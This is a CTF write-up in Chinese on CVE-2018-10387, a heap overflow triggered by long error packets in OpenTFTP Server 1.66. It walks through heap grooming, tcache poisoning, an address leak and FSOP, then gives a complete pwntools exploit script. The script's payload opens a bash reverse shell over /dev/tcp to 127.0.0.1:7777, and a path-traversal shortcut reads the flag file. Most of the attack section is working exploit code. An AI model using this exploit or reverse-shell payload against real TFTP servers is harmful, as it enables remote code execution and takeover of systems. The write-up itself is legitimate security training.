1 题目信息

题目描述:Singled-threaded TFTP Server Open Source Freeware Windows/Unix for PXEBOOT, firmware load, support tsize, blksize, timeout, server port ranges, block number rollover for large files, and remote code execution.
CVE 描述:Heap-based overflow vulnerability in TFTP Server SP 1.66 and earlier allows remote attackers to perform a denial of service or possibly execute arbitrary code via a long TFTP error packet, a different vulnerability than CVE-2008-2161.

题目提供了 opentftpd 二进制文件和 libc,根据 CVE-2018-10387 的描述,漏洞是堆溢出,受影响的软件版本是 <=1.66,在 SourceForge 上可以找到源码 opentftpspV1.66.tar.gz

64 位没开 PIE,libc 版本为 2.27

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
(pwn) secreu@Vanilla:~/CVE-2018-10387$ checksec --file opentftpd
[*] '/home/secreu/CVE-2018-10387/opentftpd'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./'
Stripped: No
(pwn) secreu@Vanilla:~/CVE-2018-10387$ ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.

在 Ubuntu-18.04 下运行 ./opentftpd 12345 即可启动服务并监听 12345 端口,调试指令如下:

1
2
3
4
(pwn) secreu@Vanilla:~/CVE-2018-10387$ cat run.gdb
r 12345
b _IO_wfile_overflow
(pwn) secreu@Vanilla:~/CVE-2018-10387$ gdb opentftpd -x run.gdb

2 程序分析

2.1 TFTP

TFTP 服务器收到我们的请求后会按 opcode + block + data 的格式回复我们

opcode 和 block 都是 2 字节

1
2
3
4
5
6
def recv_data(io):
recv_msg = io.recv()
opcode = u16(recv_msg[:2], endianness='big')
block = u16(recv_msg[2:4], endianness='big')
data = recv_msg[4:]
return opcode, block, data

下面介绍本题会用到的 TFTP 的 3 种请求,通过数据包开头 2 字节的 opcode 区分

数据包之间各个字段通过 \x00 分隔

2.1.1 RRQ (Read Request)

下载请求报文,顾名思义就是下载文件

opcode = 1,构建数据包的代码如下

1
2
3
4
5
6
7
8
9
def req_read(file_path: bytes, mode=b'ascii\x00', timeout=-1):
opcode = 1
if (timeout != -1):
timeout = b'timeout\x00' + str(timeout).encode() + b'\x00'
else:
timeout = b''

req = p16(opcode, endianness='big') + file_path + mode + timeout
return req

2.1.2 ACK

确认报文,用来回复收到的数据

opcode = 4,需要携带之前收到的报文的 block 字段

1
2
3
4
def req_ack(block, extra=b''):
opcode = 4
req = p16(opcode, endianness='big') + p16(block, endianness='big') + extra
return req

2.1.3 ERROR

错误报文

opcode = 5,格式为 opcode + error code + error msg

1
2
3
4
def req_error(err_msg: bytes, err_code = 10000):
opcode = 5
req = p16(opcode, endianness='big') + p16(err_code, endianness='big') + err_msg
return req

2.2 漏洞点

根据 CVE 描述:allows remote attackers to perform a denial of service or possibly execute arbitrary code via a long TFTP error packet

可见问题出在处理错误报文的地方

如下,datain->opcode == 5 时调用 sprintfdatain->block 就是 error code,datain->buffer 就是 error msg

1
2
3
4
5
6
else if (ntohs(datain->opcode) == 5)
{
sprintf(req1->serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
logMess(req1, 1);
cleanReq(req1);
}

sprintf 将 “Error {error code} at Client, {error msg}” 写入 req1->serverError.errormessage,该缓冲区最多存储 508 字节,而 error code 最大是 0xffff = 65535,写成字符串就是 5 字节,error msg 最大为 512 字节

所以这里可以溢出,18 + 5 + 512 = 535 > 508

发送 error code = 10000,error msg 再发送 508 - 23 + 8 = 493 字节就可以开始溢出到 next chunk size

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// opentftpd.h
struct tftperror
{
MYWORD opcode;
MYWORD errorcode;
char errormessage[508];
};

// opentftpd.cpp
req->block = 0;
req->blksize = 512;
req->timeout = timeout;
req->expiry = time(NULL) + req->timeout;
req->opcode = ntohs(datain->opcode);

if (ntohs(datain->opcode) == 3 && req1->opcode == 2)
{
if ((MYWORD)req1->bytesRecd <= req1->blksize + 4)
{
...
}
else
{
req1->serverError.opcode = htons(5);
req1->serverError.errorcode = htons(4);
sendto(network.tftpConn[req1->sockInd].sock, (const char*)&req1->serverError, strlen(req1->serverError.errormessage) + 5, 0, (sockaddr*)&req1->client, req1->clientsize);
sprintf(req1->serverError.errormessage, "Error: Incoming Packet too large");
logMess(req1, 1);
cleanReq(req1);
}
}

3 漏洞利用

TFTP 用于文件传输,自然而然我们可以想到打 _IO_FILE

整体思路如下:

  1. 先打开一些连接发送一些请求再关闭,从而释放一些 chunk,然后再打开 2 个连接 A 和 B,构造出 A 的 request chunk 后面就是 B 的 request chunk 的情形
  2. 利用漏洞覆盖 B 的 request chunk size 为 0x231,这样 B 被释放时就会进入 0x230 的 tcache bin
  3. 重新申请 B 并下载文件,A 的 request chunk 后面就会被申请为 _IO_FILE,通过覆盖 _IO_read_ptr 泄露堆上的信息,拿到 libc 和 heap 地址
  4. 此时 0x230 大小的 tcache bins 有 2 个 chunk,一个是我们伪造的,一个是最开始初始化时申请的
  5. 利用漏洞覆盖 tcache next 指针到 datain 结构体上,这里是我们发送的报文存放的地方
  6. 用 2 个连接去下载文件,就将 _IO_FILE 分配到 datain 结构体上
  7. 发送数据包伪造 _IO_FILE,通过 fread 打 FSOP

3.1 覆盖 Next Size 重分配 _IO_FILE

初步调试会发现和单个 req 有关的 chunk 大小有 0x3a1、0x41、0x51,以及唯一的一个 0x231

0x3a1 大小的 chunk 对应 struct request 结构体,也就是单个 req

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
struct request
{
char mapname[32];
MYBYTE opcode;
MYBYTE attempt;
MYBYTE sockInd;
time_t expiry;
char path[256];
FILE *file;
char *filename;
char *mode;
MYDWORD tsize;
MYDWORD blksize;
MYDWORD timeout;
MYDWORD fblock;
MYWORD block;
MYWORD tblock;
int bytesRecd;
MYWORD bytesRead[2];
int bytesReady;
sockaddr_in client;
socklen_t clientsize;
packet* pkt[2];
union
{
acknowledgement acout;
message mesout;
tftperror serverError;
};
};

request_chunk

0x231 大小的 chunk 对应 fopen 打开的 _IO_FILE

iofile_chunk

先构造出 io_1 的 request chunk 在 io_2 的 request chunk 上方的情形,然后覆盖 io_2 的 request chunk 的 size 为 0x231 再将其释放(要设置 timeout=0,否则要等很久才释放)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
freed_chunks = []
for i in range(4):
freed_chunks.append(remote(HOST, PORT, typ="udp"))
for i in range(4):
freed_chunks[i].send(req_read(b"flag\x00", timeout=0))
freed_chunks[i].recv()
freed_chunks[i].send(b"AAAA")
freed_chunks[i].recv()
freed_chunks[i].close()

sleep(2)

io_1 = remote(HOST, PORT, typ="udp")
io_2 = remote(HOST, PORT, typ="udp")

io_1.send(req_read(b"flag\x00"))
io_1.recv()
io_2.send(req_read(b"flag\x00", timeout=0))
io_2.recv()

# change next size = 0x231 and free it
io_1.send(req_error(b"A" * 493 + p64(0x231)))
io_2.send(req_error(b"AAAA"))

可以看到 top chunk 找不到了,成功覆盖了 0x231 并将其释放

overflow_next_size

下一次要下载文件时,fopen 申请 0x231 大小 chunk 时就会拿到 0x637fe0

3.2 覆盖 _IO_read_ptr 泄露地址

根据源码,opentftpd 在处理下载文件请求时,如果文件大小不超过默认的 blksize == 512,就会直接关闭文件,此时再覆盖 _IO_read_ptr 就没用了

所以我们首先申请下载一个大文件,opentftpd 本身即可,然后利用漏洞覆盖 _IO_read_ptr 的低 4 位为 \x00\x10,后面回复的数据包就会泄露堆上的信息

我们接收到 _IO_file_jumps 即可拿到 heap 上的 _IO_FILE,就拿到了 libc 和 heap 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# allocate chunk of size 0x230 to get the victim chunk as FILE
# target file size should > 0x200 bytes, otherwise, it will be closed instantly
io_2.send(req_read(b"opentftpd\x00"))

# change its read ptr to leak libc and heap
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231) + p64(0xfffffffffbad2488) + p8(0x10)))
for i in range(7, 1, -1):
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231)[:i]))

nums = []
libc_base = 0
heap_base = 0
while True:
opcode, block, data = recv_data(io_2)
if len(data) < 512:
break
for j in range(0, 512, 8):
num = u64(data[j:j+8])
nums.append(num)
if (num & 0xfff) == (0x3E82A0 & 0xfff) and data[j+5] == 0x7f:
libc_base = num - 0x3E82A0 # _IO_file_jumps
log.info('libc_base: ' + hex(libc_base))
heap_base = nums[-11] - 0x224B0
log.info('heap_base: ' + hex(heap_base))
break
if heap_base != 0:
break
io_2.send(req_ack(block))

io_2.send(req_read(b"flag\x00", timeout=0))
io_2.recv()

3.3 Tcache Poisoning 分配到 datain

通过调试找到 datain 的偏移,我们发送的数据包会存放到这里,利用漏洞覆盖 tcache next 指针,这样连续用 2 个连接去请求下载大文件,就会把 _IO_FILE 申请到 datain

1
2
3
4
5
6
7
8
9
10
11
12
datain = heap_base + 0x123B0
io_file_addr = datain + 0x20
log.info('datain: ' + hex(datain))

# tcache poisoning to alloc FILE in datain
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231) + p64(io_file_addr)))
for i in range(7, 1, -1):
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231)[:i]))

# alloc twice to get the FILE chunk in datain
io_2.send(req_read(b"opentftpd\x00"))
io_1.send(req_read(b"opentftpd\x00"))

3.4 FSOP

最后伪造 _IO_FILE 结构体,发送数据包到 datain 上,下一次 fread 就能够劫持控制流

伪造的 _IO_FILE 要在 vtable 字段填入 _IO_wfile_jumps - 0x28,这样 fread 执行的 _IO_file_xsgetn 就变成了 _IO_wfile_overflow,走 House of Apple 2 一样的链子,即 fread -> _IO_wfile_overflow -> _IO_wdoallocbuf -> fp._wide_data._wide_vtable+0x68 (setcontext)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# FSOP
system = libc_base + 0x4F440
setcontext_53 = libc_base + 0x52070 + 53
_IO_wfile_jumps = libc_base + 0x3E7D60
command = b'/bin/bash -c "/bin/bash -i > /dev/tcp/127.0.0.1/7777 0<&1 2>&1"\x00'
pop_rdi = libc_base + 0x2155f
pop_rdi_rbp = libc_base + 0x221a3

io_file = p64(0) + p64(pop_rdi_rbp)
io_file += p64(io_file_addr + 0xe0) + p64(0)
io_file += p64(system)

io_file = io_file.ljust(0x68, b'\x00')
io_file += p64(io_file_addr + 0xe0) # rdi

io_file = io_file.ljust(0x88, b'\x00')
io_file += p64(io_file_addr + 0x60) # _lock -> _markers

io_file = io_file.ljust(0xa0, b'\x00')
io_file += p64(io_file_addr) # _wide_data
io_file += p64(pop_rdi) # rip

io_file = io_file.ljust(0xd0, b'\x00')
io_file += p64(setcontext_53) # _wide_vtable + 0x68
io_file += p64(_IO_wfile_jumps - 0x28) # put overflow at xsgetn

io_file += command

io_file = io_file.ljust(0x130, b'\x00')
io_file += p64(io_file_addr + 0xe0 - 0x78) # _wide_vtable

opcode, block, data = recv_data(io_1)
io_1.send(req_ack(block, extra=b"P" * 0x1c + io_file))

4 EXP

只在本地上成功了,不知道为什么它远程环境和本地环境的不一样

远程只泄露出了 libc 和 heap 地址,但是不知道 datain 在堆上的地址偏移

只是为了拿 flag 的话可以直接利用 TFTP 服务下载 //home/opentftp/flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from pwn import *

# elf = ELF("./opentftpd")
# libc = ELF("./libc.so.6")

# context(os=elf.os, arch=elf.arch, log_level="debug")
context.log_level = "debug"

def req_read(file_path: bytes, mode=b'ascii\x00', timeout=-1):
opcode = 1
if (timeout != -1):
timeout = b'timeout\x00' + str(timeout).encode() + b'\x00'
else:
timeout = b''

req = p16(opcode, endianness='big') + file_path + mode + timeout
return req

def req_error(err_msg: bytes, err_code = 10000):
# sprintf(req.serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);
# max len of err_msg is 516 - 4 = 512
# len("Error 10000 at Client, ") = 23
# size of errormessage is 508
# overflow payloads: "A" * (508 - 23 + 8) + SIZE
opcode = 5
req = p16(opcode, endianness='big') + p16(err_code, endianness='big') + err_msg
return req

def req_ack(block, extra=b''):
opcode = 4
req = p16(opcode, endianness='big') + p16(block, endianness='big') + extra
return req

def recv_data(io):
recv_msg = io.recv()
opcode = u16(recv_msg[:2], endianness='big')
block = u16(recv_msg[2:4], endianness='big')
data = recv_msg[4:]
return opcode, block, data

def cheat():
file_path = b'//home/opentftp/flag\x00'
io = remote(HOST, PORT, typ="udp")
io.send(req_read(file_path))
print(io.recv())


def exploit():
freed_chunks = []
for i in range(4):
freed_chunks.append(remote(HOST, PORT, typ="udp"))
for i in range(4):
freed_chunks[i].send(req_read(b"flag\x00", timeout=0))
freed_chunks[i].recv()
freed_chunks[i].send(b"AAAA")
freed_chunks[i].recv()
freed_chunks[i].close()

sleep(2)

io_1 = remote(HOST, PORT, typ="udp")
io_2 = remote(HOST, PORT, typ="udp")

io_1.send(req_read(b"flag\x00"))
io_1.recv()
io_2.send(req_read(b"flag\x00", timeout=0))
io_2.recv()

# change next size = 0x231 and free it
io_1.send(req_error(b"A" * 493 + p64(0x231)))
io_2.send(req_error(b"AAAA"))

sleep(2)

# allocate chunk of size 0x230 to get the victim chunk as FILE
# target file size should > 0x200B, otherwise, it will be closed instantly
io_2.send(req_read(b"opentftpd\x00"))

# change its read ptr to leak libc and heap
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231) + p64(0xfffffffffbad2488) + p8(0x10)))
for i in range(7, 1, -1):
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231)[:i]))

nums = []
libc_base = 0
heap_base = 0
while True:
opcode, block, data = recv_data(io_2)
if len(data) < 512:
break
for j in range(0, 512, 8):
num = u64(data[j:j+8])
nums.append(num)
if (num & 0xfff) == (0x3E82A0 & 0xfff) and data[j+5] == 0x7f:
libc_base = num - 0x3E82A0 # _IO_file_jumps
log.info('libc_base: ' + hex(libc_base))
heap_base = nums[-11] - 0x224B0
log.info('heap_base: ' + hex(heap_base))
break
if heap_base != 0:
break
io_2.send(req_ack(block))

io_2.send(req_read(b"flag\x00", timeout=0))
io_2.recv()

datain = heap_base + 0x123B0
io_file_addr = datain + 0x20
log.info('datain: ' + hex(datain))

# tcache poisoning to alloc FILE in datain
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231) + p64(io_file_addr)))
for i in range(7, 1, -1):
io_1.send(req_error(b"A" * 493 + p64(0xffffffffffff0231)[:i]))

# alloc twice to get the FILE chunk in datain
io_2.send(req_read(b"opentftpd\x00"))
io_1.send(req_read(b"opentftpd\x00"))

# FSOP
system = libc_base + 0x4F440
setcontext_53 = libc_base + 0x52070 + 53
_IO_wfile_jumps = libc_base + 0x3E7D60
command = b'/bin/bash -c "/bin/bash -i > /dev/tcp/127.0.0.1/7777 0<&1 2>&1"\x00'
pop_rdi = libc_base + 0x2155f
pop_rdi_rbp = libc_base + 0x221a3

io_file = p64(0) + p64(pop_rdi_rbp)
io_file += p64(io_file_addr + 0xe0) + p64(0)
io_file += p64(system)

io_file = io_file.ljust(0x68, b'\x00')
io_file += p64(io_file_addr + 0xe0) # rdi

io_file = io_file.ljust(0x88, b'\x00')
io_file += p64(io_file_addr + 0x60) # _lock -> _markers

io_file = io_file.ljust(0xa0, b'\x00')
io_file += p64(io_file_addr) # _wide_data
io_file += p64(pop_rdi) # rip

io_file = io_file.ljust(0xd0, b'\x00')
io_file += p64(setcontext_53) # _wide_vtable + 0x68
io_file += p64(_IO_wfile_jumps - 0x28) # put overflow at xsgetn

io_file += command

io_file = io_file.ljust(0x130, b'\x00')
io_file += p64(io_file_addr + 0xe0 - 0x78) # _wide_vtable

opcode, block, data = recv_data(io_1)
io_1.send(req_ack(block, extra=b"P" * 0x1c + io_file))


if __name__ == "__main__":
global HOST
global PORT
if args.REMOTE:
HOST = "chall.pwnable.tw"
io_pwn = remote(HOST, 10206)
io_pwn.recvuntil('start challenge on udp port: ')
PORT = int(io_pwn.recvline().strip())
else:
HOST, PORT = "127.0.0.1", 12345

exploit()
# cheat()